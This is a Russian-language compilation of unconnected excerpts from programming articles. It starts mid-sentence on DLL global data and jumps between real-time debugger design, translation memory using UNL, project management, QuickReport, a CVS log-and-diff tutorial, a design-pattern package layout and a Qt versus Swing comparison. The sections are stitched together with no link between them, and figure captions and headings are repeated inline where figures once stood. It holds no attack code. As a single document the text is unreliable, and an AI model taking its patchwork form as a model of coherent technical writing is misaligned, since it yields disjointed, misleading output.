в том, что вызывающая программа не будет иметь к ним доступа. Она просто не будет ничего знать об их существования, так же, как одни классы ничего не знают о тех методах, которые описаны в секции private других классов. В дополнение к процедурам и функциям, DLL может содержать глобальные данные, доступ к которым разрешен для всех процедур и функций в библиотеке. Для 16-битных приложений эти данные существовали в единственном экземпляре независимо от количества загруженных в оперативную память программ, которые используют текущую библиотеку. Другими словами, если одна программа изменяет значение глобальной переменной a на 100, то для всех остальных приложений a будет значение 100. Для 32-битных приложений это не так. Теперь для каждого приложения создается отдельная копия глобальной области данных.

    Особенности архитектуры

    Если раньше система реального времени рассматривалась нами как один процесс (с точки зрения ресурсов), то распределенные СРВ представляют уже набор взаимодействующих процессов. Специфика заключается в том, что отлаживаемое приложение может быть распределено на нескольких платформах с разными процессорами, поэтому эффективность отладчика зависит от:
  • наличия на каждом компоненте системы агента отладки;
  • способности менеджера работать со всеми процессорами системы;
  • возможности агентов отладки осуществлять связь между собой и с менеджером. Кроме того, если система состоит из большого числа компонент, использование двухуровневой архитектуры "менеджер-агент" становится неэффективным, поскольку менеджер не сможет обработать в надлежащее время информацию от агентов. В этом случае целесообразно использовать многоуровневую структуру, в которой компоненты, объединенные по своим функциональным возможностям, представляют некоторые подсистемы, которыми управляют соответствующие менеджеры, являющиеся агентами на следующем уровне предложенной иерархии. При включении в систему новой платформы необходимо, чтобы менеджер имел возможность осуществлять связь с агентом. Для этого к набору исходных текстов менеджера добавляется файл, содержащий функции взаимодействия с агентом. Здесь возможны следующие варианты:
  • Файл описания платформы требует компиляции и сборки вместе с остальными исходными текстами. Существенный недостаток такого подхода в том, что менеджер или какую-либо его часть придется пересобирать.
  • Файл описания интерпретируется внутренними средствами менеджера. В [17] описан отладчик Panorama, платформо-зависимые черты, которого вынесены в отдельные файлы: файл описания платформы (агента) и tcl-скрипт, в котором описаны необходимые функции. Таким образом, имея встроенный tcl-интерпретатор, Panorama способен работать с новой платформой без пересборки менеджера. Архитектура этого отладчика приведена на рис.7.
    Рис. 7. Отладчик Panorama В случае, если один агент обслуживает несколько менеджеров, целесообразно организовать промежуточное звено, в которое вынести все платформо-зависимые черты менеджеров. Такой подход реализован в среде разработки ПО реального времени TORNADO (система VxWorks). Он заключается в том, что на целевой стороне имеется универсальный агент (target agent), осуществляющий связь со средствами разработки ПО посредством целевого сервера (target server). В этом случае, во-первых, все клиенты работают с одним сервером (и, соответственно, с одним агентом) и, во-вторых, они имеют возможность обмениваться данными между собой, используя целевой сервер.

    Особенности отладки в системах реального времени

    Отладка в СРВ направлена на обнаружение и исправление ошибок в прикладном коде. Она является одним из этапов кросс-разработки, схему которой можно представить следующим образом. Разработка приложения ведется как минимум на двух машинах: инструментальной и целевой. На инструментальной платформе происходит написание исходного текста, компиляция и сборка. На целевой - загрузка приложения, его тестирование и отладка. Ввиду того, что целевая платформа, как правило, обладает более ограниченными ресурсами, чем инструментальная, отладка распределенных систем реального времени может быть двух видов. Первый из них - имитация архитектуры целевой платформы, то есть возможность отладки целевых программных средств без использования самой платформы. Подобная имитация, как правило, не дает возможности провести подробное и полное тестирование ПО. Поэтому, такой тип отладки применяется только в случае отсутствия целевой платформы. Второй способ - удаленная отладка (кросс-отладка). Кросс-отладка позволяет использовать ресурсы инструментальной системы при изучении поведения некоторого процесса в целевой системе. Эффективность удаленной отладки зависит от типа связи инструментальной и целевой машин, а также от поддержки средств отладки со стороны целевой архитектуры. Ключевым требованием к средствам отладки является возможность наблюдать и анализировать весь процесс выполнения отлаживаемых задач, а также системы в целом. В данной работе рассматриваются два метода отладки: активная отладка и мониторинг. Суть активной отладки состоит в том, что отладчик имеет право останавливать выполнение задачи или всей системы, начинать или продолжать выполнение с некоторого адреса, отличного от точки останова, изменять значения переменных и регистров, и.т.д. Недостаток этого метода заключается в том, что отладчик может вносить серьезные сбои в нормальную работу системы в связи с устанавливаемыми временными ограничениями. Этого можно избежать, остановив некоторую группу задач или всю систему целиком, о чем будет подробнее сказано ниже. Преимущество метода состоит в возможности корректировать поведение задачи в процессе ее выполнения. Под мониторингом понимается сбор данных о задаче (значения регистров, переменных, и.т.д) или о системе в целом (стадии выполнения задач, происходящие события, и.т.д). Осуществлять сбор данных помогает псевдо-агент (набор инструкций, встроенных в код задачи). Обычно его добавляют на этапе проектирования. Простой пример псевдо-агента - вызов assert, позволяющий вести диагностику работы задачи. В процессе мониторинга отладчик практически не вмешивается в работу системы, обеспечивая нормальное ее функцирование, но вместе с тем не имеет возможности влиять на ход выполнения отлаживаемого приложения.

    От языковых пар к языковым звездам

    Нередкой является ситуация, когда перевод приходится осуществлять не только с языка A на язык B, но и, наоборот, с языка B на язык A. Одна и та же память переводов будет одинаково полезна в обоих случаях, поскольку содержит максимально синхронизированные графы сегментов на языке A и на языке B. Однако стоит нам усложнить задачу и предположить необходимость перевода между несколькими языками, как полезность единой памяти переводов заметно падает. Действительно, если перевод осуществлялся с языка A на языки B и C, то в памяти не будет храниться соответствия между сегментами на языках B и C. Как же обеспечить подобную возможность? Разумным решением могло бы явиться использование некоторого промежуточного языка X, на который осуществлялся бы перевод, а затем, вторым этапом, выполнялся бы перевод с языка X на целевой язык. В подобном случае все языковые пары в памяти переводов состояли бы из сегмента языка X и сегмента одного из целевых (либо исходных) языков. Тут имеются, однако, подводные камни. Во-первых, как мы уже убедились, пересечение языковых пар не всегда бывает изоморфным, следовательно, не все языковые пары в памяти переводов будут содержать перевод на язык X. Очевидно, такие пары будут бесполезны. Во-вторых, при переводе всегда имеется опасность потери смысла: двойной перевод значительно увеличивает эту опасность. Каким же должен быть этот гипотетический промежуточный язык X, чтобы им было целесообразно воспользоваться? Его свойства вытекают из двух названных проблем. Во-первых, этот язык должен обеспечивать изоморфное пересечение для любого другого языка. Нарушение изоморфизма (по крайней мере, в родственных языках) обусловлено в значительной степени различием синтаксических правил, приводящим к разному порядку членов предложения, а также к различию форм одного и того же слова. Отсюда следует, что язык X должен быть инвариантен к порядку слов и как-то учитывать их формы в исходном языке. Во-вторых, он должен быть в состоянии передать смысл фразы на любом языке, следовательно- включать в себя специфические понятия всех существующих человеческих языков. Если такой универсальный язык будет найден, то память переводов можно будет организовать не на основе языковых пар, а на основе языковых звезд, где в центре находится сегмент на языке X, на лучах- варианты переводов его на другие языки. При значительном объеме перевода между большим количеством языков дополнительные затраты на удвоенную работу переводчика с лихвой окупятся гибким механизмом памяти переводов, значительно упрощающим многоязычный перевод. Осталось только найти язык X. И такой язык существует! Это универсальный сетевой язык UNL (UniversalNetworkingLanguage), предложенный Институтом Развития Обучения (InstituteofAdvancedStudies- IAS) при Университете Объединенных Наций (UnitedNationsUniversity- UNU). Им мы и воспользуемся для дальнейшего развития модели памяти переводов.

    От маленьких проектов к средним проектам – было два программиста, а стало восемь.

    По моим наблюдениям, основная масса проектов, которые делают Российские оффшорные фирмы, обычно длятся не более двух месяцев с участием одного или двух программистов. Многие фирмы даже умышленно не берут заказы среднего размера, рассчитанные на полгода или год с участием 6 или 10 программистов. Некоторые фирмы решаются на такие проекты, но им приходится проводить реструктуризацию организации для того, что бы было возможно выполнять такие заказы. Общеизвестно, что понятие “проект” подразумевает под собой процесс, имеющий точные временные ограничения, т.е. дату начала и дату окончания. Ключевую роль в любом проекте играет так называемый Руководитель Проекта (Project Manager). Естественно, что Руководитель Программного Проекта (Software Project Manager) имеет специфические особенности, связанные с отраслью создания программного обеспечения. В этой статье я постараюсь рассказать о функциях руководителя средних проектов, а также о стадиях, через которые должен пройти проект под его руководством. В статье я делаю ставку на объектно-ориентированные проекты и упускаю из виду такие вещи как тестирование и управление рисками. На мой взгляд, руководитель проекта должен обладать знанием технологий, на которых будет реализован проект. Представим, что во главе проекта стоит руководитель, который имеет только общее представление о работе своих подчиненных - программистов. В лучшем случае вы получите надзирателя, который всегда полагается на честность программистов, а в худшем - нахлебника, которому будут «пудрить мозги» «ушлые» программисты и проект будет, мягко говоря, отставать от графика, а, скорее всего, вообще не придет к стадии завершения. По какой причине я выставил такие требования к руководителю проекта, будет видно из последующего материала. Дело в том, что один квалифицированный программист с большим опытом работает в десять раз эффективнее начинающего, так утверждает Брукс или Йордан, но, как правило, фирмы не торопятся нанимать высокооплачиваемых программистов. В сложившейся ситуации намного эффективнее из такого специалиста сделать руководителя проекта и дать ему в подчинение не таких дорогостоящих программистов. Но ни в коем случае не нужно делать наоборот, так как забивать гвозди микроскопом это очень дорогое и не эффективное занятие. Другими словами, руководитель проекта должен иметь очень высокую квалификацию, а не мешать своими неразумными указаниями слишком умному исполнителю. Существует масса книг зарубежных авторов на тему Software Project Management, которые ориентированы на большие проекты и, естественно, управление такими проектами отличаются от управления средними проектами. В этой статье я постарался выделить конструктивные моменты деятельности и обязанностей руководителя именно среднего проекта.

    Открытая архитектура

    Архитектура Flora/C+ полностью прозрачна и открыта для разработчика. Ему доступны все системные элементы, необходимые для разработки приложений. Основной элемент архитектуры. дерево взаимодействующих объектов (Object Tree) содержит не только прикладные объекты разрабатываемой пользователем программной системы, но также. все системные объекты: устройства ввода/вывода, стартовую панель, буфер обмена данными, системные переменные, функции и библиотеки, содержащие системные и прикладные объекты Flora/C+, с помощью которых строятся приложения и т.. Более того, дерево объектов содержит также и все инструментальные приложения самой системы программирования Flora/C+, в том числе: Дизайнер, Отладчик, Редактор графических объектов и другие, также разработанные в технологии Flora/C+ на базе одних и тех же системных и прикладных библиотечных объектов. Разработчик может также использовать встроенный язык программирования F++, который синтаксически подобен C++ и Java и включает стандартный набор объектных расширений языка, конструкции структурного программирования (как if, switch, for, while), все операторы языка C++ и т.д.

    Отладочные действия

    Существует набор базовых действий, позволяющих пользователю осуществлять контроль за выполнением отлаживаемой задачи. Эти действия можно классифицировать следующим образом:
  • предварительные действия отладчика;
  • прерывание выполнения задачи;
  • получение информации;
  • продолжение/изменение выполнения задачи. 1) Предварительные действия отладчика
  • загрузка модуля на целевой стороне;
  • запуск нужной задачи;
  • если задача была запущена средствами системы, то присоединение к ней (в этом случае выполнение задачи останавливается и становится возможным производить отладочные действия);
  • переключение между задачами. Отладчик также выполняет и обратные действия, то есть отсоединение от задачи, прекращение ее выполнения и выгрузка соответствующего модуля. 2) Прерывание выполнения задачи Как правило, выполнение задачи может быть прервано в результате того, что произошло одно из следующих событий:
  • Достигнута точка прерывания. Точки прерывания бывают двух видов: программные и аппаратные. Установка программной точки прерывания состоит в том, что запоминается инструкция, расположенная по тому адресу, где будет находиться точка прерывания, затем по этому адресу прописывается так называемая "break"-инструкция, после обработки которой процессором генерируется некоторое исключение (trap exception). Обработчик этого исключения сохраняет регистры задачи, меняет инструкцию точки прерывания на настоящий код и передает управление менеджеру. Недостаток программных точек прерывания в том, что соответствующий адрес должен находиться в той области памяти, куда разрешена запись. Аппаратная точка прерывания не требует модификации памяти, так как ее адрес хранится в специальном регистре (debug register, DR), который просматривается процессором при выполнении очередной инструкции. Если происходят действия, заложенные в контрольный регистр (например, выполнение по заданному адресу или чтение/запись в область, адресуемую значением DR), то процессор генерирует соответствующее прерывание, обработав которое, отладчик получает необходимую информацию. Отладчик предоставляет пользователю возможность установки точки прерывания на начало некоторой строки исходного текста, на точку входа определенной функции или на конкретный адрес.
    Помимо этого, отладчик отличает точки прерывания, поставленные им, а также (в многозадачных системах) имеет возможность устанавливать и обрабатывать точки прерывания, специфичные для данного множества задач. Это означает, что если задача не входит в такое отлаживаемое множество, то точка прерывания игнорируется. Помимо работы с точками прерывания, устанавливаемыми на конкретный адрес, отладчик работает с так называемыми прерываниями доступа (access breakpoints), используемыми для определения момента доступа к некоторой области памяти, и прерываниями наступления событий (event detection), которые срабатывают, когда происходит соответствующее событие.
  • Используется режим пошаговой отладки. Существует много вариантов степени детализации выполнения. В частности, остановка после выполнения строки исходного текста или остановка после выполнения каждой ассемблерной инструкции (с заходом в вызываемые функции или с их пропуском). Отладчик может использовать этот режим в служебных целях, например, при установленном прерывании выполнения при изменении данных (watchpoint). В этом случае после исполнения очередной инструкции надо проверять значение того выражения, на котором стоит точка прерывания.
  • Перехвачена исключительная ситуация. Если в процессе выполнения отлаживаемой задачи возникла исключительная ситуация (например, деление на 0), то отладчик должен корректно ее обработать и сообщить пользователю.
  • Получен сигнал прерывания от пользователя. Отладчик предоставляет пользователю возможность в любой момент остановить выполнение программы (например, введя соответствующий символ). При получении сигнала останова отладчик может остановить текущую отлаживаемую задачу, остановить выполнение некоторой группы задач и остановить всю систему. Такой механизм дает возможность применять средства активной отладки без опасения вызвать новые ошибки, связанные со спецификой СРВ, поскольку система или набор задач, которые могут повлиять на отлаживаемую, будут остановлены, и временные соотношения их выполнения нарушены не будут.


    Подобный подход реализован в отладчике X-ray (Microtec Division, целевая система VRTX). 3) Получение информации Когда задача остановилась, становится возможным осуществлять сбор различных данных, которые могут помочь при локализации логических ошибок в программе.
  • Просмотр содержимого стека. Эта команда дает возможность увидеть, как задача попала в текущее положение. Каждый кадр стека содержит данные, связанные с вызовом некоторой функции, включая ее аргументы, локальные переменные и адрес точки вызова.
  • Просмотр таблицы символов. Используя отладчик, можно получать доступ к информации о символах (имена переменных, функций и типов), определенных в задаче. Эта информация состоит из имени, типа и адреса соответствующей переменной или функции.
  • Просмотр исходных файлов. Пользователь может выборочно смотреть исходный текст программы, задавая номера строк, имена функций или некоторый адрес.
  • Просмотр данных. Отладчик способен получать и пересылать пользователю значение любой переменной или функции, доступной отлаживаемой задаче, а также содержимое регистров, памяти и дизассемблированный код. Кроме того, у пользователя может возникнуть необходимость осуществить в процессе сеанса отладки вызов некоторой функции. Для поддержки этого существуют различные способы, например, можно передать соответствующий запрос агенту отладки, и тот запустит требуемую функцию либо в контексте отлаживаемой в данный момент задачи, либо в некотором специальном контексте. В GDB (GNU debugger, Free Software Foundation) реализован другой механизм, суть которого заключается в том, что все предварительные действия (установка точки выполнения, и.т.д.) производятся на инструментальной стороне, а агенту передается запрос на выполнение с текущего адреса. 4) Продолжение/изменение выполнения Особенностью активной отладки является возможность изменения выполнения задачи.
  • Изменение данных. Отладчик имеет возможность изменять значения переменных, содержимое регистров и памяти. Это позволяет корректировать выполнение задачи, проверяя предположения об ошибках в ее коде.
  • Продолжение выполнения задачи с любого адреса. Пользователь может потребовать продолжить выполнение задачи с другого адреса (например, обходя критический участок кода).
  • Продолжение выполнения задачи до некоторого адреса. В этом случае ставится временная точка прерывания на нужный адрес, и задача выполняется, пока этот адрес не будет достигнут.


    Как и в случае с обычной точкой прерывания, отладчик обеспечивает установку временной точки прерывания на начало строки исходного текста, на конкретный адрес или на точку входа некоторой функции. Однако, помимо этого отладчик может ставить временную точку прерывания на адрес возврата текущей функции, реализуя выполнение задачи вплоть до завершения этой функции. Механизм установки временной точки прерывания используется и в режиме пошаговой отладки. Тогда точка прерывания ставится на следующую исполняемую инструкцию или (в случае отладки без захода в вызываемые функции) на инструкцию, следующую за вызовом функции.
  • Возврат из функции. Может возникнуть ситуация, когда пользователю понадобится завершить выполнение функции с определенным возвращаемым значением. В этом случае отладчик выполняет следующие действия:
  • Приведение заданного пользователем значения к типу возвращаемого значения этой функции.
  • Восстановление сохраненных регистров.
  • Установка возвращаемого значения в требуемую область памяти/регистр.
  • Установка указателя стека на предыдущий кадр.
  • Установка точки выполнения программы на адрес возврата заданной функции.
  • Уничтожение текущего кадра стека. Описывая отладочные действия, стоит упомянуть об инструментальной системе ЭСКОРТ ([27]), созданной в Научно-исследовательском институте системных исследований РАН как средство повышения производительности труда профессиональных программистов. Основу ЭСКОРТа составляет интегрированная система редактирования - компиляции - выполнения. Программы в ЭСКОРТе имеют нетекстовое представление. Более точно, все программные объекты представлены как объекты базы данных. Средствами БД ЭСКОРТа реализовано хранение предыдущих состояний объектов (и, в частности, значений переменных), откатка, "откатка откатки" и т.п., что позволяет дать в руки программисту мощные средства контролируемого выполнения (пошаговое, с контролем значений переменных, обратное и т.д.). Правда, на сегодняшний день, для современных систем реального времени, средства, предлагаемые в рамках ЭСКОРТа, представляются слишком тяжеловесными (хотя и весьма перспективными).

    Отображение графических и мемо-полейв отчетах

    QuickReport позволяет создавать отчеты с использованием любых типовданных. Если вместо определения DataSource создать обработчик события OnNeedData,можно с помощью QuickReport напечатать любые данные, меняя свойства компонентовTQRLabel, что во многих случаях используется для печати произвольной информации(иногда не имеющей отношения к базам данных). QuickReport не имеет собственного компонента для отображения графическихполей. Вместо этого можно использовать стандартные компоненты Timage илиTDBImage (рис. 7). Отображение графических и мемо-полейв отчетах Рис. 7. Использование TDBImage для отображения графических полей Следует отметить, что графические поля баз данных может печатать далеконе всякий профессиональный генератор отчетов. Например, ReportSmith, входившийв комплект поставки ряда продуктов Borland, может печатать графическиеизображения, не имеющие непосредственного отношения к данным (например,взятые из файлов формата *.bmp), но отнюдь не графические поля таблиц. Для отображения мемо-полей можно использовать компонент TQRDBText. Еслисодержимое мемо-поля, отображаемого с помощью этого компонента, не умещаетсяв одну строку, высота этого компонента (и высота содержащего его компонентаTQRBand) в режиме предварительного просмотра и при печати отчета увеличиваетсятаким образом, чтобы внутри компонента TQRDBText уместилось все содержимоеmemo-поля. Чтобы избежать наложения получившегося текста на другие элементыотчета при его печати, можно просто размещать компоненты TQRDBText, отображающиеmemo-поля, в нижней части TQRBand (рис 7). Отображение графических и мемо-полейв отчетах Рис. 7. В левой нижней части данного отчета компонент TQRDBTextотображает memo-поле Отображение графических и мемо-полейв отчетах Рис. 8. А вот так выглядят memo-поля в отчете Если таких memo-полей несколько и они должны быть размещены друг поддругом, можно использовать несколько компонентов TQRBand одного типа дляодной записи. В этом случае печататься они будут в порядке их создания.

    Отслеживание изменений

    Теперь вы, возможно, захотите узнать, какие именно изменения внес другой разработчик в файл `httpc.c'. Чтобы увидеть журнальные записи для данного файла, можно использовать команду cvs log: $ cvs log httpc.c RCS file: /usr/src/master/httpc/httpc.c,v Working file: httpc.c head: 1.8 branch: locks: strict access list: symbolic names: keyword substitution: kv total revisions: 8; selected revisions: 8 description: The one and only source file for trivial HTTP client ---------------------------- revision 1.8 date: 1996/10/31 20:11:14; author: jimb; state: Exp; lines: +1 -1 (tcp_connection): Cast address stucture when calling connect. ---------------------------- revision 1.7 date: 1996/10/31 19:18:45; author: fred; state: Exp; lines: +6 -2 (match_header): Make this test case-insensitive. ---------------------------- revision 1.6 date: 1996/10/31 19:15:23; author: jimb; state: Exp; lines: +2 -6 ... $ Большую часть текста здесь вы можете игнорировать; следует только обратить внимание на серию журнальных записей после первой строки черточек. Журнальные записи выводятся на экран в обратном хронологическом порядке, исходя из предположения, что недавние изменения обычно более интересны. Каждая запись описывает одно изменение в файле, и может быть разобрано на составные части так: `revision 1.8' Каждая версия файла имеет уникальный "номер редакции". Номера ревизии выглядят как `1.1', `1.2', `1.3.2.2' или даже `1.3.2.2.4.5'. По умолчанию номер 1.1 -- это первая редакция файла. Каждое следующее редактирование увеличивает последнюю цифру на единицу. `date: 1996/10/31 20:11:14; author: jimb; ...' В этой строке находится дата изменения и имя пользователя, зафиксировавшего это изменение; остаток строки не очень интересен. `(tcp_connection: Cast...' Это, очевидно, описание изменения. Команда cvs log может выбирать журнальные записи по дате или по номеру редакции; за описанием деталей обращайтесь к руководству. Если вы хотите взглянуть на соответствующее изменение, то можете использовать команду cvs diff.
    Например, если вы хотите увидеть, какие изменения Фред зафиксировал в качестве редакции 1.7, используйте такую команду: $ cvs diff -c -r 1.6 -r 1.7 httpc.c Перед рассмотрением того, что нам выдала эта команда, опишем, что означает каждая ее часть.
    -c Задает использование удобочитаемого формата выдачи изменений. (Интересно, почему это не так по умолчанию).
    -r 1.6 -r 1.7 Указывает CVS, что необходимо выдать изменения, необходимые, чтобы превратить редакцию 1.6 в редакцию 1.7. Вы можете запросить более широкий диапазон изменений; например, -r 1.6 -r 1.8 отобразит изменение, сделанные Фредом, и изменения, сделанные вами чуть позже. (Вы также можете заказать выдачу изменений в обратном порядке -- как будто бы они были отменены -- указав номера редакций в обратном порядке: -r 1.7 -r 1.6. Это звучит странно, но иногда полезно.)
    httpc.c Имя файла для обработки. Если вы не укажете его, CVS выдаст отчет обо всем каталоге.
    Вот что выдаст эта команда: Index: httpc.c ================================================================= RCS file: /u/src/master/httpc/httcp.c,v retrieving revision 1.6 retrieving revision 1.7 diff -c -r1.6 -r1.7 *** httpc.c 1996/10/31 19:15:23 1.6 --- httpc.c 1996/10/31 19:18:45 1.7 *************** *** 62,68 **** } ! /* Return non-zero iff HEADER is a prefix of TEXT. HEADER should be null-terminated; LEN is the length of TEXT. */ static int match_header (char *header, char *text, size_t len) --- 62,69 ---- } ! /* Return non-zero iff HEADER is a prefix of TEXT, ignoring ! differences in case. HEADER should be lower-case, and null-terminated; LEN is the length of TEXT. */ static int match_header (char *header, char *text, size_t len) *************** *** 76,81 **** --- 77,84 ---- for (i = 0; i < header_len; i++) { char t = text[i]; + if ('A' <= t && t <= 'Z') + t += 'a' - 'A'; if (header[i] != t) return 0; } $ Требуются некоторые усилия, чтобы привыкнуть к такой подаче информации, но это определенно стоит того. Интересная часть информации начинается с первых двух строк, начинающихся с *** и ---; они описывают старый и новый файлы, подлежащие сравнению.


    Остальное состоит из двух "ломтей" (hunk), каждый из которых начинается со строки из звездочек. Вот первый "ломоть": *************** *** 62,68 **** } ! /* Return non-zero iff HEADER is a prefix of TEXT. HEADER should be null-terminated; LEN is the length of TEXT. */ static int match_header (char *header, char *text, size_t len) --- 62,69 ---- } ! /* Return non-zero iff HEADER is a prefix of TEXT, ignoring ! differences in case. HEADER should be lower-case, and null-terminated; LEN is the length of TEXT. */ static int match_header (char *header, char *text, size_t len) Текст из более старой редакции находится после строки *** 62,68 ***; текст новой редакции находится после строки --- 62,69 ---. Пара цифр означает показанный промежуток строк. CVS показывает контекст вокруг изменений и отмечает измененные строки символами `!'. Таким образом вы видите, что одна строка из верхней половины была заменена на две строки из нижней. Вот второй "ломоть": *************** *** 76,81 **** --- 77,84 ---- for (i = 0; i < header_len; i++) { char t = text[i]; + if ('A' <= t && t <= 'Z') + t += 'a' - 'A'; if (header[i] != t) return 0; } Здесь описывается добавление двух строк, что обозначается символами `+'. CVS не выводит старый текст -- это было бы избыточно. Для описания удаленных строк используется подобный формат. Как и выход команды diff, выход команды cvs diff обычно называется "заплатой" (patch), потому что разработчики традиционно использовали этот формат для распространения исправлений и небольших новый возможностей. Достаточно читабельна, заплата содержит достаточно информации, чтобы применить изменения, которые она содержит, к текстовому файлу. В действительности, команда patch в среде UNIX делает с заплатами именно это.

    Пакет доступа к фактам

    Пакет server.factdao на рис. 2.6 отвечает за работу с фактами для разных типов источников данных. За основу берется интерфейс FactDAOInteface, задающий принципы работы с фактами. Его необходимо реализовать для всех типов источников данных, которые будут подключены к системе. При реализации данного интерфейса в случае, когда некоторые источники данных имеют общие черты, следует использовать Template Method для увеличения степени повторного использования кода. Пакет доступа к фактам Рис. 2.6 Доступ к фактам

    Пакет источников данных

    Пакет server.datasource на рис. 2.5 обеспечивает связку между источниками данных и фактами. Другими словами, здесь описывается, в каком источнике данных находится какой факт. Вводится понятие картриджа (класс FactCarttridge), представляющего источник данных, в котором хранятся факты. Для работы с конкретным типом источником данных картридж использует интерфейс FactDAOInterface. Данный подход позволяет серверу приложений, с одной стороны, хранить свои факты в разных источниках данных, а с другой, не заботиться клиентскому приложению о том, как они хранятся и как расположены физически, что облегчает клиентскую часть системы. Пакет источников данных Рис. 2.5 Источник данных

    Пакет ядра

    Пакет server.kernel на рис. 2.7 представляет собой набор заводов FactDAOFactory, MetaFactory и SecurityFactory, управляющих моделями пакетов model.fact, model.meta и model.security, которые были описаны выше. Классы AbstractMetaSource и AbstractFactSource в своей работе используют безопасность, т.е. пользуются услугами SecurityFactory. Основная функциональная нагрузка ядра ложится на классы AbstractFactSource, AbstractMetaSource и AbstractSecuritySource, но процесс управления объектами моделей model.fact, model.meta и model.security делегируется классам FactDAOFactory, MetaFactory и SecurityFactory с использованием шаблона Adapter. Пакет ядра Рис. 2.7 Ядро системы

    Пакет контроллер

    Пакет client.controller на рис. 3.5 содержит интерфейс Command, который описывает стандартный способ инициирования команд, наследуемых от этого интерфейса. В этом пакете содержится классы, содержащие бизнес-логику, которая манипулирует моделью. Пакет контроллер Рис. 3.5 пакет контроллер

    Пакет модель

    Пакет client.model на рис. 3.3 содержит классы Модели, которые отображаются классами Вида из пакета client.view. В случае, когда есть уже готовый инструментарий для построения приложения, приходится адаптировать имеющиеся Модели из пакетов client.model.fact, client.model.meta и client.model.security с помощью шаблона Adapter к имеющимся моделям. Пакет модель Рис. 3.3 Пакет модель

    Пакет посредник

    Пакет client.mediator на рис. 3.4 содержит класс Mediator, в роли которого может выступать главный класс приложения с методом main(). Обычно в сложных клиентских приложениях присутствует несколько расширяющих его классов. Пакет посредник Рис. 3.4 Пакет посредник

    Пакет вид

    Пакет client.view на рис. 3.2 представляет собой набор классов со ссылками на объекты из пакета client.model. Другими словами, Вид строится на основании Модели. Для того, чтобы ослабить их сцепленность (coupling), взаимосвязь между связанными Видами, используется ссылка на посредник класс Mediator, которому делегируются события, приходящие из внешнего мира от пользователя. В случае, когда есть уже готовый инструментарий для построения приложения, следует применять шаблон Adapter при адаптации имеющихся компонентов Видов. В случае, когда приходится самостоятельно реализовывать обвязку API, следует обратить внимание на шаблоны Composite, Decorator. Chain of Responsibility и Observer. Пакет вид Рис. 3.2 Пакет вид

    Пакеты источников метамодели, фактов и безопасности

    Пакет source.meta на рис. 2.8 представляет собой интерфейс MetaSourceInterface с поддерживающим его заводом по шаблону Factory Method, который предоставляет клиентскому приложению Proxy-объект этого интерфейса по шаблону Proxy. Как уже говорилось выше, на стороне клиентского приложения реализуют этот интерфейс в виде стаба (stub), а на стороне сервера приложения - в виде скелетона (skeleton). Пакеты источников метамодели, фактов и безопасности Рис. 2.8 Источник метамодели Пакет source.fact на рис. 2.9 построен по таким же принципам, как пакет source.meta. Пакеты источников метамодели, фактов и безопасности Рис. 2.9 Источник фактов Пакет source.security на рис. 2.10 построен по таким же принципам, как пакет source.meta. Пакеты источников метамодели, фактов и безопасности Рис. 2.10 Источник безопасности

    Пакеты модели метамодели, фактов и безопасности

    Пакет model.meta на рис. 2.2 содержит классы, описывающие метамодель предметной области, с которой работает система. Мной было выделено всего три основных класса для этой цели. Безусловно, ее необходимо расширять для каждой специфической предметной области. Класс MetaModel предназначен для того, чтобы держать в одной системе несколько метамоделей. Класс FactDescription описывает факты. Класс Group выступает в роли тематического классификатора фактов, который всегда присутствует в информационных системах и может быть также расширен. Пакеты модели метамодели, фактов и безопасности Рис 2.2 Модель метамодели Пакет model.fact на рис. 2.3 имеет всего один класс Fact, объекты которого будут фактами. Этот класс следует, безусловно, расширить, так как встреченные мной факты из разных предметных областей имеют общее только то, что они являются фактами. Пакеты модели метамодели, фактов и безопасности Рис. 2.3 Модель фактов Пакет model.security на рис. 2.4 описывает права доступа к системе, к фактам и метамодели. За основу взято классическое решение безопасности. Есть пользователи (класс User), которые сопоставлены с ролями (класс Role), имеющими права доступа (класс Access) на метамодель, которая также описывает факты. Соответственно, отсутствие прав доступа на описание факта отсекает доступ на сам факт. В процессе аутентификации участвует класс User, а в процессе авторизации - классы Role и Access соответственно. Пакеты модели метамодели, фактов и безопасности Рис. 2.4 Модель безопасности

    Парадигмы программирования в Qt и Swing

    Несмотря на то, что оценка API в определенной степени является делом личных предпочтений программиста, среди API-интерфейсов можно выделить такие, которые сделают ваш код более простым, кратким, элегантным и читаемым, чем другие. Ниже мы приводим два примера кода: первый с использованием Java/Swing, а второй с использованием C++/Qt, в которых реализуется вставка нескольких элементов в иерархическое дерево. Swing-код: ... DefaultMutableTreeNode root = new DefaultMutableTreeNode( "Root" ); DefaultMutableTreeNode child1 = new DefaultMutableTreeNode( "Child 1" ); DefaultMutableTreeNode child2 = new DefaultMutableTreeNode( "Child 2" ); DefaultTreeModel model = new DefaultTreeModel( root ); JTree tree = new JTree( model ); model.insertNodeInto( child1, root, 0 ); model.insertNodeInto( child2, root, 1 ); ... Этот же код с использованием Qt: ... QListView* tree = new QListView; QListViewItem* root = new QListViewItem( tree, "Root" ); QListViewItem* child1 = new QListViewItem( root, "Child 1" ); QListViewItem* child2 = new QListViewItem( root, "Child 2" ); ... Как видите, Swing использует архитектуру Model-View-Controller (MVC), в то время как Qt ее поддерживает, но не навязывает использовать. Поэтому Qt-код более интуитивен. К такому же результату приводит сравнение кода для создания заполненной таблицы или других сложных компонентов GUI. Вторым интересным моментом является то, как различные инструментарии связывают воздействие пользователя (например, выбор элемента в выше созданном дереве) с определенной функциональностью (вызовом функции или метода). Синтаксически в Java/Swing и C++/Qt это выглядит по-разному, но основной принцип общий. Трудно сказать, какой код является более ясным и элегантным, Swing-код: ... tree.addTreeSelectionListener( handler ); ... или Qt-код: ... connect( tree, SIGNAL( itemSelected( QListViewItem* ) ), handler, SLOT( handlerMethod( QListViewItem* ) ) ); ... С одной стороны, Swing-код выглядит проще, а с другой - Qt-код более гибок. Qt позволяет программисту использовать для управляющей функции любое имя, в то время, как Swing обязывает использовать в качестве имени valueChanged() (вот почему в приведенном выше Swing-примере оно не было указано явно). Также Qt позволяет связывать событие (сигнал в терминологии Qt) с любым числом управляющих функций (слотов). Таким образом, и Java/AWT/Swing, и C++/Qt одинаково хорошо подходят для разработки сложного пользовательского интерфейса. Главным недостатком Swing-интерфейса является низкая производительность Java.

    Перед началом работы с Rapid Developer

    Для начала требуется установить сам продукт Rapid Developer*, а также дополнительное программное обеспечение, которое требуется для создания и отладки приложений J2EE. В частности, необходимо установить сервер приложений и Java SDK. Так, простейший сервер приложений Tomcat 4.0 можно скачать с сайта Apache Software Foundation, посвященного , а Java SDK можно получить на одном из сайтов компании .
